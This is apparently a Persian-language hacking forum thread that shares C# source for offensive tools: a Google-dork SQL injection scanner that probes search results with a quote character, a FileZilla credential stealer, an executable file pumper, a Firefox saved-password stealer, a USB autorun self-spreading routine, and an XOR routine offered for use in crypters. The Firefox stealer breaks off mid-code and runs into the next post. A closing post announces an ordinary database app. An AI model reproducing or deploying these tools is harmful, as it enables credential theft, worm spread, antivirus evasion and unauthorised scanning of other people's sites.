مجموعه برنامه ها به زبان سی شارپ
[c#] Simple SQLi Dork Scanner
یه سورس نرم افزار اسکنر باگsql
کد PHP:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Text.RegularExpressions;
using System.Net;
using System.Web;
using System.IO;
using System.Collections.Specialized;
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
bool unik;
public Form1()
{
InitializeComponent();
}
private string useragent()
{
string[] ua = {"Mozilla/5.0 (X11; Linux i686) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.52 Safari/536.5",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11",
"Opera/9.25 (Windows NT 5.1; U; en)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
"Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12",
"Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.102011-10-16 20:23:50",
"Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+2011-10-16 20:21:10",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"};
Random rand = new Random();
int i = rand.Next(0, ua.Length - 1);
string ua2 = ua[i];
return ua2;
}
private string graph(string dork, int start)
{
string data = this.curl("http://www.google.com/custom?q=" + HttpUtility.UrlEncode(dork) + "&btnG=Search&start=" + start.ToString());
return data;
}
private MatchCollection match(string start, string end, string var)
{
MatchCollection match = Regex.Matches(var, Regex.Escape(start) + "(.*?)" + Regex.Escape(end));
return match;
}
private string curl(string url_, string data = null)
{
Stream stream;
Uri url = new Uri(url_);
try
{
HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create(url);
req.Accept = "*/*";
req.Timeout = 60000;
req.UserAgent = this.useragent();
req.AllowAutoRedirect = true;
if (!string.IsNullOrEmpty(data))
{
byte[] postdata = Encoding.UTF8.GetBytes(data);
req.Method = WebRequestMethods.Http.Post;
req.ContentType = "application/x-www-form-urlencoded";
req.ContentLength = postdata.Length;
stream = (Stream)req.GetRequestStream();
stream.Write(postdata, 0, postdata.Length);
stream.Close();
}
else
{
req.Method = WebRequestMethods.Http.Get;
}
HttpWebResponse respon = (HttpWebResponse)req.GetResponse();
StreamReader mbuh = new StreamReader(respon.GetResponseStream());
string source = WebUtility.HtmlDecode(mbuh.ReadToEnd().ToString());
return source;
}
catch (Exception ex)
{
return ex.ToString();
}
}
private string[] unique(string[] arr)
{
string[] host = new string[arr.Length];
string[] scheme = new string[arr.Length];
string[] pathquery = new string[arr.Length];
for (int a = 0; a < arr.Length; a++)
{
Uri url = new Uri(arr[a]);
host[a] = url.Host;
scheme[a] = url.Scheme;
pathquery[a] = url.PathAndQuery;
}
string[] mbuh = host.Distinct().ToArray();
string[] test = new string[mbuh.Length];
int ind = 0;
IEnumerable<int> key = host.Distinct().Select(s => Array.IndexOf(host, s));
foreach (int index in key)
{
test[ind] = scheme[index] + "://" + host[index] + pathquery[index];
ind++;
}
return test;
}
private string parse(string Url)
{
Uri url = new Uri(Url);
if (string.IsNullOrEmpty(url.Query))
{
return Url;
}
if (string.IsNullOrEmpty(url.PathAndQuery))
{
return Url;
}
string query = url.Query;
string path = url.AbsolutePath;
string scheme = url.Scheme;
string host = url.Host;
string[] arr = query.Split('&');
string[] x = new string[arr.Length];
for (int a = 0; a < arr.Length; a++)
{
x[a] = arr[a].Replace(arr[a], arr[a] + HttpUtility.UrlEncode("'"));
}
string url_ = scheme + "://" + host + path + string.Join("&", x);
return url_;
}
private void button1_Click(object sender, EventArgs e)
{
if (textBox1.Text == string.Empty)
{
textBox2.Text = "Fill the dork box";
}
else
{
textBox2.Clear();
progressBar1.Minimum = 0;
progressBar1.Visible = true;
progressBar1.Value = 0;
progressBar1.Step = 1;
int total = (int)numericUpDown1.Value;
progressBar1.Maximum = total;
int start = 0;
int count = 0;
int a;
int i;
int jumSite = 10;
string data;
string pola = "<a class=\"l\" href=\"";
string[] tmp;
string urlv;
int tmp2;
int tmp3;
bool capcay=false;
MatchCollection matchs;
do
{
data = this.graph(textBox1.Text, start);
if (Regex.IsMatch(data, pola, RegexOptions.IgnoreCase))
{
matchs = this.match("<a class=\"l\" href=\"", "\" onmousedown=\"", data);
jumSite = matchs.Count;
tmp = new string[jumSite];
a = 0;
i = 0;
tmp2 = 0;
foreach (Match mbuh in matchs)
{
tmp[a] = mbuh.Groups[1].Value.ToString();
a++;
}
if (unik == true)
{
tmp = this.unique(tmp);
}
else
{
tmp = tmp;
}
tmp3 = tmp.Length;
while (count < total && tmp2 < tmp3)
{
urlv = this.parse(tmp[i]);
data = this.curl(urlv);
if (Regex.IsMatch(data, @"error in your SQL syntax|mysql_fetch_array\(\)|execute query|mysql_fetch_object\(\)|mysql_num_rows\(\)|mysql_fetch_assoc\(\)|mysql_fetch\?\?_row\(\)|SELECT \* FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error", RegexOptions.IgnoreCase))
{
textBox2.AppendText(urlv + " -> This is Vuln\r\n");
textBox3.AppendText(urlv + "\r\n");
}
else
{
textBox2.AppendText(urlv + " -> Not Vuln\r\n");
}
i++;
count++;
tmp2++;
progressBar1.PerformStep();
}
}
else
{
textBox2.AppendText("No results or there captcha authentication");
capcay = true;
}
start += 10;
} while (count < total && jumSite >= 10 && capcay==false);
progressBar1.Visible = false;
progressBar1.Value = 0;
}
}
private void Form1_Load(object sender, EventArgs e)
{
comboBox1.Items.Add("Yes");
comboBox1.Items.Add("No");
progressBar1.Visible = false;
}
private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
{
if (comboBox1.SelectedIndex == -1)
{
unik = false;
}
else if (comboBox1.SelectedIndex == 0)
{
unik = true;
}
else if (comboBox1.SelectedIndex == 1)
{
unik = false;
}
}
}
}
___________
سورس یه استیلر خوب
کد PHP:
namespace FileZillaStealer
{
class FileZillaStealer
{
public void FileZillaStealer()
{
//Nombre: Filezilla Stealer
//Autor: Bloc
//Fecha Publicada: 11/08/2013
//Requerimientos: Dejar la fuente.
string DocumentoXml = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\Filezilla\\recentservers.xml";
string StrHost;
string StrPort;
string StrUser;
string StrPass;
DataSet Ds = new DataSet();
Ds.ReadXml(DocumentoXml);
StrHost = Ds.Tables["Server"].Rows[0]["Host"].ToString();
StrPort = Ds.Tables["Server"].Rows[0]["Port"].ToString();
StrUser = Ds.Tables["Server"].Rows[0]["User"].ToString();
StrPass = Ds.Tables["Server"].Rows[0]["Pass"].ToString();
}
}
}
فایل پمپر
کد PHP:
using System;
using System.ComponentModel;
using System.IO;
using System.Windows.Forms;
namespace AddBytes
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
}
private void button1_Click(object sender, EventArgs e)
{
var file = File.OpenWrite(textBox1.Text);
var siza = file.Seek(0, SeekOrigin.End);
var size = Convert.ToInt32(textBox2.Text);
if (radioButton1.Checked)
{
decimal bite = size*1048576;
while (siza < bite)
{
siza++;
file.WriteByte(0);
}
file.Close();
}
else if (radioButton2.Checked)
{
decimal bite = size*1048;
while (siza < bite)
{
siza++;
file.WriteByte(0);
}
file.Close();
}
MessageBox.Show("Done !");
}
private void button2_Click(object sender, EventArgs e)
{
openFileDialog1.DefaultExt = "exe";
openFileDialog1.****** = "exe files (*.exe)|*.exe";
openFileDialog1.FilterIndex = 1;
if (openFileDialog1.ShowDialog(this) == DialogResult.OK)
{
textBox1.Text = string.Empty;
textBox1.Text = openFileDialog1.FileName;
}
}
}
}
سورس یه stealer دیگه
کد PHP:
public static void TvDbsYmmzeKXixjs()
{
IEnumerator enumerator;
IEnumerator enumerator2;
Point point = new Point(10, 10);
AText.Location = point;
string str4 = null;
bool flag = false;
string str2 = Interaction.Environ("PROGRAMFILES") + @"\Mozilla Firefox\";
foreach (string str5 in Directory.GetDirectories(Interaction.Environ("APPDATA") + @"\Mozilla\Firefox\Profiles"))
{
if (flag)
{
break;
}
foreach (string str6 in Directory.GetFiles(str5))
{
if (!flag)
{
if (Regex.IsMatch(str6, "signons.sqlite"))
{
oivGmTktmoB(str5);
JFtOFvJTDCpbDZlzhykoPDBuNKgCbg.signon = str6;
}
}
else
{
ProjectData.EndApp();
break;
}
}
}
string signon = JFtOFvJTDCpbDZlzhykoPDBuNKgCbg.signon;
TSECItem item3 = new TSECItem();
TSECItem result = new TSECItem();
TSECItem item = new TSECItem();
Base base2 = new Base(signon);
DataTable table2 = base2.ExecuteQuery("SELECT * FROM moz_logins;");
DataTable table = base2.ExecuteQuery("SELECT * FROM moz_disabledHosts;");
try
{
enumerator = table.Rows.GetEnumerator();
while (enumerator.MoveNext())
{
DataRow current = (DataRow) enumerator.Current;
str4 = str4 + Environment.NewLine + "hostname".ToString();
}
}
finally
{
if (enumerator is IDisposable)
{
(enumerator as IDisposable).Dispose();
}
}
OMhwbbbdVrvk(bvryeuuo(), true, 0L);
try
{
enumerator2 = table2.Rows.GetEnumerator();
while (enumerator2.MoveNext())
{
byte[] buffer2;
DataRow row2 = (DataRow) enumerator2.Current;
str4 = str4 + Environment.NewLine + "Application: FireFox";
string str7 = Convert.ToString(row2["formSubmitURL"].ToString());
str4 = str4 + Environment.NewLine + "Seite: " + str7;
StringBuilder inStr = new StringBuilder(row2["encryptedUsername"].ToString());
int num2 = xSGTjizteYUcgxxr(IntPtr.Zero, IntPtr.Zero, inStr, inStr.Length);
IntPtr ptr = new IntPtr(num2);
TSECItem data = (TSECItem) Marshal.PtrToStructure(ptr, typeof(TSECItem));
if ((CqSzxpvjJWBHufugp(ref data, ref result, 0) == 0) && (result.SECItemLen != 0))
{
buffer2 = new byte[(result.SECItemLen - 1) + 1];
ptr = new IntPtr(result.SECItemData);
Marshal.Copy(ptr, buffer2, 0, result.SECItemLen);
str4 = str4 + Environment.NewLine + "Username: " + Encoding.ASCII.GetString(buffer2);
}
StringBuilder builder2 = new StringBuilder(row2["encryptedPassword"].ToString());
int num3 = xSGTjizteYUcgxxr(IntPtr.Zero, IntPtr.Zero, builder2, builder2.Length);
ptr = new IntPtr(num3);
TSECItem item5 = (TSECItem) Marshal.PtrToStructure(ptr, typeof(TSECItem));
if ((CqSzxpvjJWBHufugp(ref item5, ref item, 0) == 0) && (item.SECItemLen != 0))
{
byte[] destination = new byte[(item.SECItemLen - 1) + 1];
ptr = new IntPtr(item.SECItemData);
Marshal.Copy(ptr, destination, 0, item.SECItemLen);
str4 = str4 + Environment.NewLine + "Passwort: " + Encoding.ASCII.GetString(destination) + Environment.NewLine;
[C#] USB Spread
کد PHP:
[CENTER]
using System;
using System.Net;
using System.IO;
using System.Management;
using System.Collections.Generic;
using System.Windows.Forms;
class USBspread
{
static void Main(string[] args)
{
try
{
System.IO.DriveInfo[] drives = System.IO.DriveInfo.GetDrives(); // we find all removable drives
foreach (System.IO.DriveInfo drive in drives)
{
if (drive.DriveType == DriveType.Removable)
{
StreamWriter sw = new StreamWriter(drive.Name + "autorun.inf"); // create the autorun.inf
sw.WriteLine("[autorun]");
sw.WriteLine("open=autorun.exe");
sw.Close();
File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden); // We put autorun.inf hidden
string appPath = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
try
{
File.Copy(appPath, drive.Name + "autorun.exe", true); // We copy our exe into the removable drive
File.SetAttributes(drive.Name + "autorun.exe", File.GetAttributes(drive.Name + "autorun.exe") | FileAttributes.Hidden); // attribute hidden
}
finally
{
Console.WriteLine("Found removable drive {0}", drive.Name + "... // Successfully rooted! //");
}
}
else
{
Console.WriteLine("Not Removable drive : {0}", drive.Name);
}
}
}
catch (Exception e)
{
Console.WriteLine(e.ToString());
}
}
}
[/CENTER]
[C#] XOR Encryption
این هم یک سورس خوب برای استفاده در کریبتر یک متد crypt کردن stringهست...
کد PHP:
[CENTER]
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
namespace XOREncryption
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private string XorEncrypt(string text, int key)
{
string newText = "";
for (int i = 0; i < text.Length; i++)
{
int charValue = Convert.ToInt32(text[i]); //get the ASCII value of the character
charValue ^= key; //xor the value
newText += char.ConvertFromUtf32(charValue); //convert back to string
}
return newText;
}
}
}
[/CENTER]
سلام به همه
یک بانک اطاعاتی ساده ! (سورس کد + توضیحات مختصر)
قابلیت های برنامه :
* ثبت در بانک * حذف * جستجو * ویرایش در هر جدول - فرم جستجو در کل بانک با انتخاب جدول
* گزارش گیری با استفاده از استیمول سافت
(امیدوارم روی سیستم هاتون کار کنه - رو سیتم خودم جواب میده ولی وقتی ستاپ میسازم ، روی سیستم مقصد نه )
* تغییر پوسته برنامه و ذخیره در رجیستری ویندوز
* گرفتن فایل پشتیبان
* ارسال ایمیل همراه فایل ضمیمه
* کرسر موس سفارشی (اختصاصی برنامه)
* ظاهری زیبا (البته به نظر خودم)
و ...
از اینجا دان کنید
امیدوارم یه چیزی ازش یاد بگیرین ()